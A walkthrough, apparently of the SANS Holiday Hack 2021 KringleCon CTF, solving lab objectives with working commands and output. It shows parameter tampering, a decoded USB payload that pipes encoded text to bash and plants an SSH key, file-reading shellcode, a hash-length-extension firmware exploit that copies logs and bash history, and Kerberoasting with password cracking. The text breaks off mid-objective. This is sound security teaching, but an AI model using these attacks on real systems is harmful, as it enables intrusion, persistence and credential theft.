Objectives
1) KringleCon Orientation
Difficulty:
Question
Get your bearings at KringleCon
Solution
Carefully read the instructions to complete objectives 1a-1d :-)
Answer
Answer
Follow the instructions. It's okay, we aren't in VI yet.
1a) Talk to Jingle Ringford
Difficulty:
Question
Jingle will start you on your journey!
Solution
Answer
Answer
Click "Click the elf to talk!"
1b) Get your badge
Difficulty:
Question
Pick up your badge
Solution
Click on your fancy new badge.
Answer
Answer
Pick up your exclusive/oneofakind/awesome KringleCon badge
1c) Get the wifi adapter
Difficulty:
Question
Pick up the wifi adapter
Solution
Walk over and pick up that fancy little doodad in the corner.
Answer
Answer
Pick up the Wifi Adapter
1d) Use the terminal
Difficulty:
Question
Click the computer terminal
Solution
Loved the awesome sound FX of the gate opening. Who could that be??
Answer
Answer
Open the terminal and type answer
2) Where in the World is Caramel Santiago?
Difficulty:
Question
Help Tangle Coalbox find a wayward elf in Santa's courtyard. Talk to Piney Sappington nearby for hints.
Hints
- Name (Piney Sappington)
- "Don't forget coordinate systems other than lat/long like MGRS and what3words."
- Name (Piney Sappington)
- "While Flask cookies can't generally be forged without the secret, they can often be decoded and read."
- Name (Piney Sappington)
- "Clay Moody is giving a talk about OSINT techniques right now!"
Solution
Heading to the back courtyard in front of the Google booth we find Tangle Coalbox with one of my favorite challenges, OSINT.
Clicking through the interface of this terminal I see there isn't much to work with so I focused on the hint from Piney Sappington about Chris Elgee's Gist about Flast Cookies.
Open up the terminal in a new tab so I can access the Web Developer tools, in particular, the Cookies that are currently being stored.
Sure enough, this looks just like what Chris was talking about.
I popped this into CyberChef (one of the best tools, ever...) and found an interesting JSON object that contained what appeared to be the answers to each of the questions.
Plugging these into the "InterRink" page and clicking "Filter Elves" reveals the Elf we are tracking.
Once we click through each of the destinations based on the JSON data we can catch up with the elf and put in the answer.
Woot woot!
Alternate Solution
A little extra digging and we can see that we can post the following in the terminal to gain the achievement as well.
__POST_RESULTS__({ hash: "1704de3efcab1a918ee5ab04939fade5ec88c1c63fa014f6c0bd7492fad90bf1", resourceId: "Tangle Coalbox"})
Answer
Answer
Complete the OSINT challenge terminal by following the elf's path and identify who it was
3) Thaw Frost Tower's Entrance
Difficulty:
Question
Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wifi Dongle's CLI interface. Talk to Greasy Gopherguts outside the tower for tips.
Hints
- Name (Greasy GopherGuts)
- "The iwlist and iwconfig utilities are key for managing Wi-Fi from the Linux command line."
- Name (Greasy GopherGuts)
- "When sending a POST request with data, add
--data-binary
to yourcurl
command followed by the data you want to send." - Name (Greasy GopherGuts)
- "cURL makes HTTP requests from a terminal - in Mac, Linux, and modern Windows!"
Solution
Good ol' WiFi hacking here! Getting started on this challenge I assumed we would be "hacking" the thermostat to change the temperature in the tower, thawing out the door.
Opening the WiFi dongle from my badge revealed a terminal where we can use some wifi interface commands as hinted by Greasy.
First thing to do is scan for nearby access points.
elf@e582d62bcd5a:~$ iwlist wlan0 scanning
wlan0 Scan completed :
Cell 01 - Address: 02:4A:46:68:69:21
Frequency:5.2 GHz (Channel 40)
Quality=48/70 Signal level=-62 dBm
Encryption key:off
Bit Rates:400 Mb/s
ESSID:"FROST-Nidus-Setup"
Next, we want to connect the wireless interface to the discovered "FROST-Nidus-Setup" SSID. This is assumed to be the thermostat.
elf@e582d62bcd5a:~$ iwconfig wlan0 essid "FROST-Nidus-Setup"
** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
(The setup is compatible with the 'curl' utility)
Interesting, this network connection has told us to use curl
to configure it...
Curling the the given URL reveals some setup options.
elf@e582d62bcd5a:~$ curl http://nidus-setup:8080
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Nidus Thermostat Setup
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
WARNING Your Nidus Thermostat is not currently configured! Access to this
device is restricted until you register your thermostat ยป /register. Once you
have completed registration, the device will be fully activated.
In the meantime, Due to North Pole Health and Safety regulations
42 N.P.H.S 2600(h)(0) - frostbite protection, you may adjust the temperature.
API
The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc
Still showing not configured...so lets see what options we have in the documentation.
elf@e582d62bcd5a:~$ curl http://nidus-setup:8080/apidoc
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Nidus Thermostat API
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
The API endpoints are accessed via:
http://nidus-setup:8080/api/<endpoint>
Utilize a GET request to query information; for example, you can check the
temperatures set on your cooler with:
curl -XGET http://nidus-setup:8080/api/cooler
Utilize a POST request with a JSON payload to configuration information; for
example, you can change the temperature on your cooler using:
curl -XPOST -H 'Content-Type: application/json' \
--data-binary '{"temperature": -40}' \
http://nidus-setup:8080/api/cooler
โ WARNING: DO NOT SET THE TEMPERATURE ABOVE 0! That might melt important furniture
Available endpoints
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Path โ Available without registering? โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ /api/cooler โ Yes โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ /api/hot-ice-tank โ No โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ /api/snow-shower โ No โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ /api/melted-ice-maker โ No โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ /api/frozen-cocoa-dispenser โ No โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ /api/toilet-seat-cooler โ No โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ /api/server-room-warmer โ No โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
That was helpful! Now we know how to send the proper curl command to change the temperature. The vendor allows you to change the temp without authenticating??? Wow. Let's take advantage! (I really wish I had the password to play with the other endpoints...)
elf@e582d62bcd5a:~$ curl http://nidus-setup:8080/api/cooler -XPOST -H 'Content-Type: applicationjson' --data-binary '{"temperature": 1}'
{
"temperature": 1.78,
"humidity": 35.36,
"wind": 34.74,
"windchill": -4.58,
"WARNING": "ICE MELT DETECTED!"
}
The North Pole must have different temperature characteristics...since setting the temperature to "1" melted the ice. Oh well...I'll take it :-)
Answer
Answer
Send the curl request to the thermostat to melt the ice curl http://nidus-setup:8080/api/cooler -XPOST -H 'Content-Type: applicationjson' --data-binary '{"temperature": 1}'
4) Slot Machine Investigation
Difficulty:
Question
Test the security of Jack Frost's slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa's Castle for help.
Hints
- Name (Noel Boetie)
- "It seems they're susceptible to parameter tampering."
- Name (Noel Boetie)
- "Web application testers can use tools like Burp Suite or even right in the browser with Firefox's Edit and Resend feature."
Solution
Looking through the hints on this challenge I have the feeling some parameter tampering would be involved.
Opening up Dev Tools and inspecting the XHR requests we can see the parameters being sent to the spin
endpoint when clicking Spin.
Copying the request as a curl command and modifying the cpl
(Bet Size) allowed us to greatly influence our winnings.
cpl
seems to be the "cost per bet/spin". By increasing the value and adding a -
sign I was able to give myself mucho credits.
curl -i -s -k -X $'POST' \
-H $'Host: slots.jackfrosttower.com' -H $'Content-Length: 32' -H $'Sec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\"' -H $'Accept: application/json' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Sec-Ch-Ua-Mobile: ?0' -H $'X-Ncash-Token: 7ac8489c-b2ea-49dc-93e8-1375fe1bef2c' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36' -H $'Sec-Ch-Ua-Platform: \"Windows\"' -H $'Origin: https://slots.jackfrosttower.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: https://slots.jackfrosttower.com/uploads/games/frostyslots-206983/index.html' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' \
-b $'XSRF-TOKEN=eyJpdiI6IkVwYnB4U2lBZUM5aG5rWXBjUTUrVVE9PSIsInZhbHVlIjoiaThReGpMZjNVQzNVTnN6YkU2U0hSb0NodUVzZ0xlVU9iVVdvdytCZENEclRZRlp5YTBPTkFQZUVwRWdwZEhPRjFsbUNrK0ZGb0trb0FaOTNkcDhPTzhlek1tMzBhdGdpWFNvdGdGaXlDbkJQRFdnbFVIOG14ekJpODZDOU1NL20iLCJtYWMiOiI4MjJiYjQ3ZjFkNjViNGExOGU5MmRjOWIyZGJmMGFmZTViMmQ5ZjgwNThjNjBjODJmZGNkNzk0YzhmOGEyMGU5IiwidGFnIjoiIn0%3D; slots_session=eyJpdiI6Inh2T3Q1dU9WN21OSXZqLzM4d1lhM3c9PSIsInZhbHVlIjoiVkJoenZIVnJab1BUOVk1Ny9LaWpXOENZT1JrQnRVT1h3ekdqNjVSSlYrYnIrM2JtYlZmdDFVRzdjWkQzYzZuUktaaUlKdFVhVW9EY2RLSnJscU8vejJWa0hyVFVHb2RLU0xrK3RuY2xXU25iUWdSK2hLQ3BPRU51bFBnY1hQNU8iLCJtYWMiOiI5YjlmYTNlNzYyNTc2ZTliMGJlM2Q3YmY5ZjNlNzk5NzYxN2E4ZDcyZjAyN2QzMzk1MGQwYWJiZWI2MjExMzJkIiwidGFnIjoiIn0%3D' \
--data-binary $'betamount=1&numline=20&cpl=-9999' \
$'https://slots.jackfrosttower.com/api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin'
{
"success": true,
"data": {
"credit": 220066.3,
"jackpot": 0,
"free_spin": 0,
"free_num": 0,
"scaler": 0,
"num_line": 20,
"bet_amount": 1,
"pull": {
"WinAmount": -5000,
"FreeSpin": 0,
"WildFixedIcons": [],
"HasJackpot": false,
"HasScatter": false,
"WildColumIcon": "",
"ScatterPrize": 0,
"SlotIcons": [
"icon1",
"wild",
"icon1",
"icon3",
"icon9",
"icon10",
"icon3",
"icon6",
"icon8",
"wild",
"icon8",
"icon10",
"icon8",
"icon1",
"icon7"
],
"ActiveIcons": [1, 2, 3],
"ActiveLines": [2]
},
"response": "I'm going to have some bouncer trolls bounce you right out of this casino!"
},
"message": "Spin success"
}
They didn't like that I did this :-)
Answer
Answer
"I'm going to have some bouncer trolls bounce you right out of this casino!"
5) Strange USB Device
Difficulty:
Question
Assist the elves in reverse engineering the strange USB device. Visit Santa's Talks Floor and hit up Jewel Loggins for advice.
Hints
- Name (Jewel Loggins)
- "Attackers can encode Ducky Script using a duck encoder for delivery as
inject.bin
." - Name (Jewel Loggins)
- "Ducky Script is the language for the USB Rubber Ducky"
- Name (Jewel Loggins)
- "It's also possible the reverse engineer encoded Ducky Script using Mallard."
- Name (Jewel Loggins)
- "The MITRE ATT&CKโข tactic T1098.004 describes SSH persistence techniques through authorized keys files."
Solution
Hopping into the terminal I see the mallard.py
script referenced in one of the hints.
Running tells us to evaluate the file in the /mnt/USBDEVICE
folder.
./mallard.py --file /mnt/USBDEVICE/inject.bin
...
STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash
...
This encoded command looks interesting.
echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com' >> ~/.ssh/authorized_keys
This saves an SSH key to the authorized keys file.
Looking at the end of the key string we see the user is ickymcgoop@trollfun.jackfrosttower.com
Answer
Answer
ickymcgoop
6) Shellcode Primer
Difficulty:
Question
Complete the Shellcode Primer in Jack's office. According to the last challenge, what is the secret to KringleCon success? "All of our speakers and organizers, providing the gift of ____, free to the community." Talk to Chimney Scissorsticks in the NetWars area for hints.
Hints
- Name (Chimney Scissorsticks)
- "Lastly, be careful not to overwrite any register values you need to reference later on in your shellcode."
- Name (Chimney Scissorsticks)
- "Also, troubleshooting shellcode can be difficult. Use the debugger step-by-step feature to watch values."
- Name (Chimney Scissorsticks)
- "If you run into any shellcode primers at the North Pole, be sure to read the directions and the comments in the shellcode source!"
Solution
Carefully following along with the hints and tutorials I came up with the following answers.
3
ret
4
; TODO: Set rax to 1337
mov rax, 1337
; Return, just like we did last time
ret
5
; TODO: Find the syscall number for sys_exit and put it in rax
mov rax, 60
; TODO: Put the exit_code we want (99) in rdi
mov rdi, 99
; Perform the actual syscall
syscall
7
; Remember, this call pushes the return address to the stack
call place_below_the_nop
; This is where the function *thinks* it is supposed to return
nop
; This is a 'label' - as far as the call knows, this is the start of a function
place_below_the_nop:
; TODO: Pop the top of the stack into rax
pop rax nop
; Return from our code, as in previous levels
ret
8
; This would be a good place for a call
call hello_string
; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0
; This would be a good place for a label and a pop
hello_string:
pop rax
; This would be a good place for a re... oh wait, it's already here. Hooray!
ret
9
; TODO: Get a reference to this string into the correct register
call hello_string
db 'Hello World!',0
hello_string:
; Set up a call to sys_write
; TODO: Set rax to the correct syscall number for sys_write
mov rax, 1
; TODO: Set rdi to the first argument (the file descriptor, 1)
mov rdi, 1
; TODO: Set rsi to the second argument (buf - this is the "Hello World" string)
pop rsi
; TODO: Set rdx to the third argument (length of the string, in bytes)
mov rdx, 12
; Perform the syscall
syscall
; Return cleanly
ret
10
; TODO: Get a reference to this string into the correct register
call file_path
db '/etc/passwd',0
file_path:
; Set up a call to sys_open
; TODO: Set rax to the correct syscall number
mov rax, 2
; TODO: Set rdi to the first argument (the filename)
pop rdi
; TODO: Set rsi to the second argument (flags - 0 is fine)
mov rsi, 0
; TODO: Set rdx to the third argument (mode - 0 is also fine)
mov rdx, 0
; Perform the syscall
syscall
; syscall sets rax to the file handle, so to return the file handle we don't
; need to do anything else!
ret
11
; TODO: Get a reference to this
call _readfile
db '/var/northpolesecrets.txt',0
_readfile:
; TODO: Call sys_open
mov rax, 2
pop rdi
mov rsi, 0
mov rdx, 0
syscall
; TODO: Call sys_read on the file handle and read it into rsp
mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 200
syscall
; TODO: Call sys_write to write the contents from rsp to stdout (1)
mov rax, 1
mov rdi, 1
mov rsi, rsp
syscall
; TODO: Call sys_exit
mov rax, 60
mov rdi, 99
syscall
Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.
Answer
Answer
cyber security knowledge
7) Printer Exploitation
Difficulty:
Question
Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log
. What is the name of the last file printed (with a .xlsx
extension)? Find Ruby Cyster in Jack's office for help with this objective.
Hints
- Name (Ruby Cyster)
- "Files placed in
/app/lib/public/incoming
will be accessible under https://printer.kringlecastle.com/incoming/." - Name (Ruby Cyster)
- "Hash Extension Attacks can be super handy when there's some type of validation to be circumvented."
- Name (Ruby Cyster)
- "When analyzing a device, it's always a good idea to pick apart the firmware. Sometimes these things come down Base64-encoded."
Solution
OOOOO printer hacking! This is fun.
Based on the description and hints we will be crafting a custom firmware to exploit a flaw in the update process. Download a copy of the current firmware to see what it looks like.
This ended up being a JSON file.
{
"firmware": "UEsDBBQAAAAIAEWlkFMWoKjwagkAAOBAAAAMABwAZ...",
"secret_length": 16,
"algorithm": "SHA256"
}
These are the same values we need for the hash_extender
application to create a new firmware file that has a tagalong script that will be launched on the printer.
I crafted a simple script to copy the printer log to the incoming dir on the printer for retrieval.
Converting the script to HEX format and inputing into the hash_extender
.
$ cat supefirmware.bin
#!/bin/bash
cp /var/spool/printer.log /app/lib/public/incoming/printer.log
$ ./hash_extender --file ../firmware.zip --append '504b0304140000000800713f8e53ecf2cd293f0000004a0000000c0000006669726d776172652e62696e4dca310e85201004d0de53f063ef9c89250627d9bf3b01f5fcb4f66fffc118b03aafada9e0ad0353990e0dc67d8ec3b31754094e831e7336305afe19fd8b16504b01021400140000000800713f8e53ecf2cd293f0000004a0000000c00000000000000000000000000000000006669726d776172652e62696e504b050600000000010001003a000000690000000000' --append-format hex --secret 16 --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --format sha256 --signature-format hex
Type: sha256
Secret length: 16
New signature: 0c343c482edbd58a2e55b784f92d6a109093550fdd87bf26edccfd1dff90132c
New string: 504b0304140000000800d8a5865316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003b876ae61b876ae6175780b000104000000000400000000ed5b5f6c1c4...
We convert the hex back into the proper format and save as a new JSON and upload
{
"firmware": "UEsDBBQAAAAIANilhlMWoKjwagkAAO...",
"signature": "0c343c482edbd58a2e55b784f92d6a109093550fdd87bf26edccfd1dff90132c",
"secret_length": 16,
"algorithm": "SHA256"
}
Let's see if it worked.
$ curl https://printer.kringlecastle.com/incoming/printer.log
Documents queued for printing
=============================
Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx
It did!
Beast Mode
I wanted to see what else I could find...so I wrote a script to do all the heavy-lifting for me.
My new firmware contained the following scripts:
#!/bin/bash
cp /var/spool/printer.log /app/lib/public/incoming/funtimes.not_just_a_log
dir /var >> /app/lib/public/incoming/log.txt
cat /home/app/.bash_history >> /app/lib/public/incoming/log.txt
zip -P alabaster -r lib/public/incoming/dump.zip
Then, I made a bash script to ZIP up the bin file, run through the hash_extender
, then send to the printer.
#!/bin/bash
zip temp.zip firmware.bin -j
APPEND=$(xxd -p -c 9999999 temp.zip)
OUTPUT=$(./hash_extender/hash_extender --file firmware.zip --append $APPEND --append-format hex --secret 16 --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --format sha256 --out-data-format hex --signature-format hex --table)
SIGNATURE=$(echo $OUTPUT | cut -d' ' -f 2)
STRING=$(echo $OUTPUT | cut -d' ' -f 3 | xxd -r -p | base64 -w0)
JSON='{"firmware":"'$(echo $STRING)'","signature":"'$(echo $SIGNATURE)'","secret_length":16,"algorithm":"SHA256"}'
#echo "Output: $OUTPUT"
#echo "Append: $APPEND"
#echo "String: $STRING"
echo $JSON
echo $(echo $JSON > firmwareV2.json)
curl -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKzjBJqEgiZEU9QZP' -H 'Referer: https://printer.kringlecastle.com/firmware' -F "file=@firmwareV2.json" 'https://printer.kringlecastle.com/firmware'
My favorite was grabbing ZIPs of all available directories. I then retreived the logs and/or ZIP files for review.
Answer
Answer
Troll_Pay_Chart.xlsx
8) Kerberoasting on an Open Fire
Difficulty:
Question
Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa's office for hints.
Hints
- Name (Eve Snowshoes)
- "There will be some
10.X.X.X
networks in your routing tables that may be interesting. Also, consider adding-PS22,445
to yournmap
scans to "fix" default probing for unprivileged scans." - Name (Eve Snowshoes)
- "CeWL can generate some great wordlists from website, but it will ignore digits in terms by default."
- Name (Eve Snowshoes)
- "Check out Chris Davis' talk and scripts on Kerberoasting and Active Directory permissions abuse."
- Name (Eve Snowshoes)
- "OneRuleToRuleThemAll.rule is great for mangling when a password dictionary isn't enough."
- Name (Eve Snowshoes)
- "Learn about Kerberoasting to leverage domain credentials to get usernames and crackable hashes for service accounts."
- Name (Eve Snowshoes)
- "Administrators often store credentials in scripts. These can be coopted by an attacker for other purposes!"
- Name (Eve Snowshoes)
- "Investigating Active Directory errors is harder without Bloodhound, but there are native methods."
Solution
This was an exciting challenge and likley my favorite! Really enjoyed working with BloodHound in the past so I knew it would be fun to actually use it to PWN a box.
First, lets obtain some creds to gain initial access.
### ElfU Registration Portal
##### New Student Domain Account Creation Successful!
###### You can now access the student network grading system by SSH'ing into this asset using the command below:
ssh dytjcpwleg@grades.elfu.org -p 2222
##### ElfU Domain Username: dytjcpwleg
##### ElfU Domain Password: Avueqfeyb@
_(Please save these credentials!)_
We have SSH creds now. Lets connect to a new session and see what we can do.
===================================================
= Elf University Student Grades Portal =
= (Reverts Everyday 12am EST) =
===================================================
1. Print Current Courses/Grades.
e. Exit
:
0 Shortname Description Grade
==================================================
1 SLPE301 Sleigh Propulsion Engineering D
2 ELFS201 Elf Studies F
3 WHOL201 World Holiday Literature B-
4 NNLM301 Naughty Nice List Mathematics C-
Press Enter to continue...
We are dropped into a semi-locked-down Python app. We know this becuase after trying some basic escape commands we get dropped into a Python shell.
Ctrl + d to escape!
I found I can poke around the system but nothing crazy discovered yet.
===================================================
= Elf University Student Grades Portal =
= (Reverts Everyday 12am EST) =
===================================================
1. Print Current Courses/Grades.
e. Exit
: Traceback (most recent call last):
File "/opt/grading_system", line 41, in <module>
main()
File "/opt/grading_system", line 26, in main
a = input(": ").lower().strip()
EOFError
>>> os.listdir()
['.cache', '.hushlogin', '.python_history', '.profile', '.bashrc', '.grades', '.bash_logout']
I found I can spwan a new Bash shell and be more interactive with the box.
>>> import pty
>>> pty.spawn("/bin/bash")
axhhzvqhmn@grades:~$
>>> os.system('bash')
Tried to see what other devices we may have on the network.
arp -a
axhhzvqhmn@grades:/opt$ cat /etc/resolv.conf
search c.holidayhack2021.internal. google.internal.
nameserver 10.128.1.53
axhhzvqhmn@grades:/opt$ arp | grep -v incomplete
Address HWtype HWaddress Flags Mask Iface
172.17.0.1 ether 02:42:c9:87:06:32 C eth0
172.17.0.5 ether 02:42:ac:11:00:05 C eth0
172.17.0.3 ether 02:42:ac:11:00:03 C eth0
Find Hostname
PS /home/axhhzvqhmn> hostname
grades.elfu.local
Get Domain
PS /home/dytjcpwleg> ping elfu.local
PING elfu.local (10.128.1.53) 56(84) bytes of data.
64 bytes from hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53): icmp_seq=1 ttl=127 time=1.06 ms
64 bytes from hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53): icmp_seq=2 ttl=127 time=0.252 ms
List Shares
PS /home/biuebrxvlk> smbclient -L \\172.17.0.4
Enter WORKGROUP\biuebrxvlk's password:
Sharename Type Comment
--------- ---- -------
ElfUFiles Disk
IPC$ IPC IPC Service (Remote IPC)
SMB1 disabled -- no workgroup available
Get SPNs
Great hints for this challenge about gathering Kerberoastable SPNs.
PS /home/dytjcpwleg> python3 ./GetUserSPNs.py -dc-ip 10.128.1.53 -request elfu.local/dytjcpwleg
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- -------- -------- -------------------------- --------- ----------
ldap/elfu_svc/elfu elfu_svc 2021-10-29 19:25:04.305279 <never>
ldap/elfu_svc/elfu.local elfu_svc 2021-10-29 19:25:04.305279 <never>
ldap/elfu_svc.elfu.local/elfu elfu_svc 2021-10-29 19:25:04.305279 <never>
ldap/elfu_svc.elfu.local/elfu.local elfu_svc 2021-10-29 19:25:04.305279 <never>
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$ae71e1e7d786f66e25a25978f7e03d58$641f15cb66953c...
Generate List
We have a password hash so lets craft a potential password list using another hint which is CeWL
. Takes the content from a provided webpage and generates a wordlist. At first, I missed the need include words with numbers via the --with-numbers
switch. This is so that we include passwords such as the dreaded Frost2022
. Surely, it wouldn't be that easy.
โโ$ docker run -it --rm cewl https://register.elfu.org/register --with-numbers
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
domain
the
...
cookiepella
asnow2021
v0calprezents
Hexatonics
reindeers4fears
Wow
good
times
Cracked!
Now, I used this list in Hashcat to crack the hash. The key here is to use the rule file OneRuleToRuleThemAll.rule
as provided in the hint. This alters the password list for more potential matches. Capitalize first letter, add numbers to the end, etc. etc.
hashcat-legacy/hashcat-6.2.5/hashcat.bin -m 13100 -a 0 spn.txt --force -O -w 4 -r OneRuleToRuleThemAll.rule elflist.txt --show
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$0fbc8371d2b24b9f835e60ffeaa96760$878d75...:Snow2021!
Wow...it was that easy. Snow2021!
Check Shares
With the new creds, I can list available shares.
PS /home/dytjcpwleg> smbclient -L \\172.17.0.3 -U elfu_svc
Enter WORKGROUP\elfu_svc's password:
Sharename Type Comment
--------- ---- -------
netlogon Disk
sysvol Disk
elfu_svc_shr Disk elfu_svc_shr
research_dep Disk research_dep
IPC$ IPC IPC Service (Samba 4.3.11-Ubuntu)
Based on our objective, I have a feeling the research_dep
is the end goal. However, still can't access it.
Download All files
The elfu_svc user does have access to the elfu_svc_shr, so I downloaded all files locally for review.
PS /home/dytjcpwleg/share> smbclient \\172.17.0.3\elfu_svc_shr -U elfu_svc Snow2021!
prompt OFF
mget *
Search for Password
With them local, I searched for any matches to elf
, which I assumed would be a username.
PS /home/dytjcpwleg/share> grep elf *
AppHandling.ps1: New-SelfSignedCertificate โType CodeSigningCert โSubject โCN=FreddyKโ | Export-PfxCertificate -FilePath $certFile -Password $Credential.Password
GetProcessInfo.ps1:$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
New-NavContainer.ps1: Include this switch if you want to use SSL (https) with a self-signed certificate
New-NavContainer.ps1: Include this switch if you want to use SSL (https) with a self-signed certificate
New-NavContainer.ps1: Write-Host -ForegroundColor Red "WARNING: '$containername' is in the HSTS preload list. You cannot use the container unless you use SSL and a trusted certificate.`nAdd -useSSL and -installCertificateOnHost to use a self signed certificate and install it in trusted root certifications on the host."
StoreIngestionApplicationApi.ps1: for self-installing app updates.
StoreIngestionApplicationApi.ps1: for self-installing app updates.
StoreIngestionFlightingApi.ps1: and Selfhost Insiders). The console window showing progress while awaiting the response
StoreIngestionFlightingApi.ps1: and Selfhost Insiders). The request happens in the foreground and there is no additional
StoreIngestionFlightingApi.ps1: for self-installing app updates.
StoreIngestionFlightingApi.ps1: for self-installing app updates.
Ah! We can see there are some credentials being set in a GetProcessInfo.ps1
file.
PS /home/dytjcpwleg/share> cat ./GetProcessInfo.ps1
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate
GetCred
Sure enough, hardcoded credentials. The good thing was they used "Secure Strings". The bad thing is...they aren't very secure if the user's credentials are compromised as it uses DPAPI to encrypt the string. Decryption is trivial.
$aCred.GetNetworkCredential().password
A1d655f7f5d98b10!
Connect to DC
Now, its time to connect to that DC.
PS /home/dytjcpwleg/share> $cred = get-credential
PowerShell credential request
Enter your credentials.
User: elfu.local\remote_elf
Password for user elfu.local\remote_elf: *****************
